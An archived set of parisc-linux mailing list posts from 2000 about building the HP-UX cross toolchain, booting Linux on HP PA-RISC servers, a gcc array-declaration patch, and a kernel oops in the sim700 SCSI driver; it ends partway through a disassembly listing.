Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28225 invoked from network); 31 Aug 2000 17:28:54 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 17:28:54 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel1.hp.com (Postfix) with ESMTP
	id 64E1A32B; Thu, 31 Aug 2000 11:29:01 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA14480;
	Thu, 31 Aug 2000 11:28:53 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13UY93-0005Q3-00; Thu, 31 Aug 2000 11:28:57 -0600
In-Reply-To: Your message of "Thu, 31 Aug 2000 13:19:11 EDT."
             <200008311719.NAA26316@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:7859

= > hppa-linux-gcc -g -O -I../include -I../lib -I../../linux-2.3/include  -o
= > palo diskpart.o    elf64.o	    load.o	  paloio.o      som.o
= > elf32.o	      error.o	    palo.o build.o
= > /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96/../../../../hppa1.1-linux/bin/ld
:
= > cannot open crt1.o: No such file or directory
= 
= I wonder why this isn't crt0.o?  The startup file is set by the specs file
= in /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96.  It is also internal to
= gcc.  The SPECS configuration files for the pa port are in config/pa.

I see two bizzare things.  The first is that 'hppa1.1-linux' is being
used, which is a very old convention.  The palo makefile hasn't asked
for that for a long time.

Secondly, the error suggests that an old tool chain,
or a new one built to the old recipe (without glibc etc...) is being used.

I recommend using a new tool chain.  Unfortunately we don't have
pre-compiled binaries for HPUX so you'll have to build it, which can
be VERY PAINFUL (be sure to get the LATEST version of GNU make).  The recipe
to use is in CVS under build-tools.  Make sure your palo bits are up
to date too...

Good luck!

	-P


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP PA-RISC support
Date: Thu, 31 Aug 2000 20:21:00 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20000831202100.A1078@parcelfarce.linux.theplanet.co.uk>
References: <39AE587E.E5EBE37A@hky.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619100 3291 80.91.229.3 (22 Nov 2014 01:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Albert E. Whale" <aewhale@hky.com>
Original-X-From: willy@www.linux.org.uk  Thu Aug 31 13:21:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA22717
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 13:21:07 -0600
Original-Received: (qmail 11946 invoked by uid 15267); 31 Aug 2000 19:21:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11937 invoked from network); 31 Aug 2000 19:21:12 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 19:21:12 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13UZtU-0000c6-00; Thu, 31 Aug 2000 20:21:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <39AE587E.E5EBE37A@hky.com>; from aewhale@hky.com on Thu, Aug 31, 2000 at 09:07:10AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7860

On Thu, Aug 31, 2000 at 09:07:10AM -0400, Albert E. Whale wrote:
> Matthew,
> 
> You may remeber me contacting you some time again regarding the D200
> Class Server I have at a customer Site.
> 
> I am interested in installint Linux on the Server.  Is this platform
> supportted? Is there a distribution for it?  If not, can I help promote
> and or Beta test the environment to gain acceptance?

Hi, Albert.

I'm just about to leave on holiday for a month, so you're lucky you
caught me :-)  Linux does indeed boot on the D200, and the Alpha release
CD which is on the ftp site will run.  I'm not sure which devices will
be supported by that kernel, but it should be able to bring you to a
shell prompt.  The port is still a couple of months away from being
stable, so it's not really suitable for installing at a customer site yet.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] getting kernel to load so far...
Date: Thu, 31 Aug 2000 16:35:50 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008311603300.24635-100000@misty.cdf>
References: <20000830170126.E3463@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619100 3293 80.91.229.3 (22 Nov 2014 01:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Thu Aug 31 14:35:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA23686
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 14:35:58 -0600
Original-Received: (qmail 6368 invoked by uid 15267); 31 Aug 2000 20:36:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6358 invoked from network); 31 Aug 2000 20:36:04 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2000 20:36:04 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id ACBE23C08; Thu, 31 Aug 2000 16:35:51 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <20000830170126.E3463@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7861

Just wanted to report my progress publicly.
Last posting to the list was about my SCSI CD-ROM not booting the 
HP-UX INSTALL CD.  Well, it turns out that NECs are in 2048 byte sector
mode whereas HP requires 512 byte mode.  SUNs and SGIs also require 512
byte sector mode.  So I just borrowed a SUN external CD-ROM and issued

	boot pri isl

at BOOT_ADMIN> prompt and it took me right into the ISL prompt.  There
I changed the conspath to serial console.  I did not have null modem
cable (9 to 9 female), but I had a DB25 male to DB25 male cable and
a couple of DB25 male to DB9 female converters.  So I patched them up
and wired two boxes.  I fired up minicom then parisc box, and minicom
just wouldn't show a thing.  After wasting two days on it, I went out
and bought *real* DB9 female to DB9 female serial cable.  I hooked
THAT up and minicom began showing things.

But now I have bigger (I think) problem.  The kernel loading still
gets stuck at pdc_cons die!!  This is displayed on the serial console.
Anybody out there running i386 linux box as NFSROOT and serial console
server, also running bootp with combination of tftp?  Could you please
let me know what the syslog says from the booting of parisc box to
its shell?
Thanks



Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------



From - Thu Nov 08 21:13:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH: build gcc/gcc/depedence.c w/HPUX ANSI C
Date: Thu, 31 Aug 2000 19:20:06 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <200009010220.TAA20141@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619100 3299 80.91.229.3 (22 Nov 2014 01:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: gcc-patches@gcc.gnu.org
Original-X-From: grundler@cup.hp.com  Thu Aug 31 20:16:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA25925
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 20:16:43 -0600
Original-Received: (qmail 1316 invoked by uid 15267); 1 Sep 2000 02:16:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1308 invoked from network); 1 Sep 2000 02:16:50 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 02:16:50 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 43B138F82; Thu, 31 Aug 2000 19:16:49 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id TAA20141;
	Thu, 31 Aug 2000 19:20:07 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:7862


Hi folks,
I work on the parisc-linux port and was trying to build binutils/gcc
on an HP-UX 11 system. HP-UX ansic didn't like enum direction_type[][]
or int[][] constructs.  It complained with:
cc: "/linux/pa32/gcc/gcc/dependence.c", line 199: error 1501: Only the first
	dimension of an array may be omitted.

I've been told GCC refuses to compile the same thing with:
	x.c:1: warning: array `i' assumed to have one element
	x.c:1: storage size of `i' isn't known

This is probably not exactly the right fix but at least I can
build a binary now. I haven't tested the resulting binary.

thanks,
grant

grundler <815>cvs diff gcc/gcc/dependence.c
Index: gcc/gcc/dependence.c
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/dependence.c,v
retrieving revision 1.1
diff -u -p -r1.1 dependence.c
--- dependence.c        2000/08/22 20:56:22     1.1
+++ dependence.c        2000/08/31 23:44:27
@@ -196,15 +196,15 @@ static int get_one_coefficient PARAMS ((
 static void normalize_coefficients PARAMS ((subscript[], loop*, int));
 static void classify_dependence PARAMS ((subscript[], subscript[],
                                 enum complexity_type[], int*, int));
-static void ziv_test PARAMS ((subscript[], subscript[], enum direction_type[][],
-                     int[][], loop*, int));
-static void siv_test PARAMS ((subscript[], subscript[], enum direction_type[][],
-                     int[][], loop*, int));
+static void ziv_test PARAMS ((subscript[], subscript[], enum direction_type[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS],
+                     int[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS], loop*, int));
+static void siv_test PARAMS ((subscript[], subscript[], enum direction_type[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS],
+                     int[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS], loop*, int));
 static int check_subscript_induction PARAMS ((subscript*, subscript*, loop*));
-static void gcd_test PARAMS ((subscript[], subscript[], enum direction_type[][],
-                     int[][], loop*, int));
+static void gcd_test PARAMS ((subscript[], subscript[], enum direction_type[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS],
+                     int[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS], loop*, int));
 static int find_gcd PARAMS ((int, int));
-static void merge_dependencies PARAMS ((enum direction_type[][], int[][], int, int));
+static void merge_dependencies PARAMS ((enum direction_type[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS], int[MAX_SUBSCRIPTS][MAX_SUBSCRIPTS], int, int));
 static void dump_array_ref PARAMS ((tree));
 static void dump_one_node PARAMS ((def_use*, varray_type*));
 static void dump_node_dependence PARAMS ((void));



From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH: build gcc/gcc/depedence.c w/HPUX ANSI C
Date: Thu, 31 Aug 2000 22:48:58 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200009010248.WAA17382@hiauly1.hia.nrc.ca>
References: <200009010220.TAA20141@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619101 3301 80.91.229.3 (22 Nov 2014 01:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:21 +0000 (UTC)
Cc: gcc-patches@gcc.gnu.org, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Aug 31 20:52:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA26524
	for <parisc-linux@puffin.external.hp.com>; Thu, 31 Aug 2000 20:52:38 -0600
Original-Received: (qmail 30854 invoked by uid 15267); 1 Sep 2000 02:52:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30839 invoked from network); 1 Sep 2000 02:52:44 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 02:52:44 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id WAA17382;
	Thu, 31 Aug 2000 22:48:59 -0400 (EDT)
In-Reply-To: <200009010220.TAA20141@milano.cup.hp.com> from "Grant Grundler" at Aug 31, 2000 07:20:06 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7863

> Hi folks,
> I work on the parisc-linux port and was trying to build binutils/gcc
> on an HP-UX 11 system. HP-UX ansic didn't like enum direction_type[][]
> or int[][] constructs.  It complained with:
> cc: "/linux/pa32/gcc/gcc/dependence.c", line 199: error 1501: Only the first
> 	dimension of an array may be omitted.

I believe this was recently fixed in the mainline source:

2000-08-23  Alexandre Oliva  <aoliva@redhat.com>

        * dependence.c: Replace `[][]' with `[][MAX_SUBSCRIPTS]'.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] FW: hpux 11.00 near success
Date: Fri, 1 Sep 2000 09:50:45 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619101 3304 80.91.229.3 (22 Nov 2014 01:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Paul Bame'" <bame@noam.fc.hp.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: JSO@europay.com  Fri Sep  1 01:49:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA05795
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 01:49:57 -0600
Original-Received: (qmail 11719 invoked by uid 15267); 1 Sep 2000 07:50:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11695 invoked from network); 1 Sep 2000 07:50:02 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 07:50:02 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d464e61e382a4@epirel991.europay.com>;
 Fri, 1 Sep 2000 09:49:09 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <RSK9MST5>; Fri, 1 Sep 2000 09:46:00 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7864

Hi John,

> -----Original Message-----
> From: Paul Bame [mailto:bame@noam.fc.hp.com]
> Sent: Thursday, August 31, 2000 7:29 PM
> To: John David Anglin
> Cc: JSO@europay.com; parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] FW: hpux 11.00 near success 
> 
> 
> = > hppa-linux-gcc -g -O -I../include -I../lib 
> -I../../linux-2.3/include  -o
> = > palo diskpart.o    elf64.o	    load.o	  
> paloio.o      som.o
> = > elf32.o	      error.o	    palo.o build.o
> = > 
> /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96/../../../../hppa1.1
> -linux/bin/ld
> :
> = > cannot open crt1.o: No such file or directory
> = 
> = I wonder why this isn't crt0.o?  The startup file is set by 
> the specs file
> = in /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.96.  It is also 
> internal to
> = gcc.  The SPECS configuration files for the pa port are in 
> config/pa.
> 
> I see two bizzare things.  The first is that 'hppa1.1-linux' is being

I also try to rebuild tool chain with host=hppa-hpux as recommended in the
recipe html page but it failed:
not supported platform ... ? But as I just read recipe.hpux (and
recipe.linux) I just note that host is not anymore specified. Is it perhaps
the mistake? I will advise asap.

> used, which is a very old convention.  The palo makefile hasn't asked
> for that for a long time.
> 
> Secondly, the error suggests that an old tool chain,
> or a new one built to the old recipe (without glibc etc...)
> is being used.

But glibc is not build with recipe.hpux neither recipe.linux also may I
assume that I have to use same configure options ?

> 
> I recommend using a new tool chain.  Unfortunately we don't have

The tool chain which I just reach to rebuild successfully was date 20000829
as well as palo?

> pre-compiled binaries for HPUX so you'll have to build it, which can

I would also prefer to work on a Linux box (that why I try to build it) but
it is too difficult to obtain it.
 
> be VERY PAINFUL (be sure to get the LATEST version of GNU 
> make).  The recipe

The GNU make release is 3.79. Is that exist a new one?

> to use is in CVS under build-tools.  Make sure your palo bits are up
> to date too...
> 
> Good luck!
> 
> 	-P
> 

Thank for advises,
	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] FW: hpux 11.00 near success
Date: Fri, 1 Sep 2000 20:47:11 +1100 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009012014240.7013-100000@front.linuxcare.com.au>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619101 3307 80.91.229.3 (22 Nov 2014 01:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:21 +0000 (UTC)
Cc: "'Paul Bame'" <bame@noam.fc.hp.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: alan@linuxcare.com.au  Fri Sep  1 03:50:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA06804
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 03:50:37 -0600
Original-Received: (qmail 26765 invoked by uid 15267); 1 Sep 2000 09:50:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26742 invoked from network); 1 Sep 2000 09:50:43 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 09:50:43 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA14450;
	Fri, 1 Sep 2000 20:47:11 +1100
In-Reply-To: <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id DAA06804
Xref: news.gmane.org gmane.linux.ports.parisc:7865

On Fri, 1 Sep 2000, [iso-8859-1] SOETE Jol wrote:

> The tool chain which I just reach to rebuild successfully was date 20000829
> as well as palo?

I broke the linker on 2000-08-27, in a way that might be affecting shared
library builds.  Your problems may be totally unrelated, but just in case,
I thought I'd better own up.  The linker should be fixed now.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: hpux 11.00 near success
Date: Fri, 01 Sep 2000 08:44:03 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <E13Us32-0000vt-00@noam.fc.hp.com>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619102 3308 80.91.229.3 (22 Nov 2014 01:18:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Original-X-From: bame@noam.fc.hp.com  Fri Sep  1 08:44:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA10741
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 08:44:01 -0600
Original-Received: (qmail 4698 invoked by uid 15267); 1 Sep 2000 14:44:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4684 invoked from network); 1 Sep 2000 14:44:08 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 14:44:08 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP
	id A3E03F0; Fri,  1 Sep 2000 08:43:50 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id IAA15332;
	Fri, 1 Sep 2000 08:44:01 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13Us32-0000vt-00; Fri, 01 Sep 2000 08:44:04 -0600
In-Reply-To: Your message of "Fri, 01 Sep 2000 09:50:45 +0200."
             <A4A5E4C468B5D11190220001FA6835DD04DD86BA@epixch003> 
Xref: news.gmane.org gmane.linux.ports.parisc:7866

= 
= I also try to rebuild tool chain with host=hppa-hpux as recommended in the
= recipe html page but it failed:
= not supported platform ... ? But as I just read recipe.hpux (and
= recipe.linux) I just note that host is not anymore specified. Is it perhaps
= the mistake? I will advise asap.

You probably want target=hppa-linux and host=hppa1.1-hpux10 or something
like that.

= > I recommend using a new tool chain.  Unfortunately we don't have
= 
= The tool chain which I just reach to rebuild successfully was date 20000829
= as well as palo?

Ok, that probably means you need a full tool chain not just
the one described in the recipes.  x86 users should probably grab the tarball
ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000829.tgz
because building the full tool chain is often difficult.

For hpux, start with the recipe in buildutils/palinux-autobuilder.
Be sure to change this line: '$host="i386-linux";' in the script.

	-P


From - Thu Nov 08 21:13:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Oops in sim700.c on C360
Date: 01 Sep 2000 11:44:20 -0400
Organization: Linuxcare, Inc.
Lines: 76
Approved: news@gmane.org
Message-ID: <87zolsktgr.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619102 3314 80.91.229.3 (22 Nov 2014 01:18:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep  1 09:45:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11369
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 09:45:39 -0600
Original-Received: (qmail 11933 invoked by uid 15267); 1 Sep 2000 15:45:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11920 invoked from network); 1 Sep 2000 15:45:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 1 Sep 2000 15:45:46 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13UszM-0005w9-00
	for <parisc-linux@thepuffingroup.com>; Fri, 01 Sep 2000 11:44:20 -0400
Original-Lines: 75
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7867

Hi,

Booting on a C360 I get this oops:

Kernel Fault: Code=26 regs=c7f98900 (Addr=00000004)

PSW  : 0004ff0a  GR 1 : c0232800  GR 2 : c01dd3d0  GR 3 : ffd06100
GR 4 : c02ce070  GR 5 : 000002c6  GR 6 : c027b000  GR 7 : c7f8f2e0
GR 8 : c7f8f260  GR 9 : 00000216  GR10 : 00000000  GR11 : 0000000a
GR12 : ffffffff  GR13 : ffffffff  GR14 : c02cd800  GR15 : f0100000
GR16 : f00010bc  GR17 : f0000154  GR18 : f000014c  GR19 : 00000000
GR20 : 00000000  GR21 : 00000000  GR22 : 00000008  GR23 : c028ee80
GR24 : ffffffff  GR25 : 00008000  GR26 : 00000000  GR27 : c0276000
GR28 : c7f8f2e0  GR29 : ffd05800  GR30 : c7f98b40  GR31 : c01f2ed8
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000

IASQ : 00000000 00000000 IAOQ : c01dd3dc c01dd3e0 ORIG_R28 : c027c7d4
 IIR : 0e681096 ISR : 00000000 IOR : 00000004

Which matches with this function:

c01dd340 T sim700_init_host

In the disassembly this is:

<sim700.c, line 1664>:

    host = scsi_register(tpnt, sizeof(struct sim700_hostdata));
    hostdata = (struct sim700_hostdata *)host->hostdata;
    memset(hostdata, 0, sizeof(struct sim700_hostdata));
    hostdata->targets = pci_alloc_consistent(NULL, PAGE_SIZE << 3, &dma_addr);
    4c6c:       2b 60 00 00     addil 0,dp,%r1
    4c70:       6b c3 3f 79     stw r3,-44(sr0,sp)
    4c74:       6b c5 3f 69     stw r5,-4c(sr0,sp)
    4c78:       08 19 02 45     copy r25,r5
    4c7c:       34 19 00 60     ldi 30,r25
    4c80:       6b ce 3f 21     stw r14,-70(sr0,sp)
    4c84:       6b ca 3f 41     stw r10,-60(sr0,sp)
    4c88:       08 01 02 4e     copy r1,r14
    4c8c:       6b c8 3f 51     stw r8,-58(sr0,sp)
    4c90:       6b c7 3f 59     stw r7,-54(sr0,sp)
    4c94:       6b cd 3f 29     stw r13,-6c(sr0,sp)
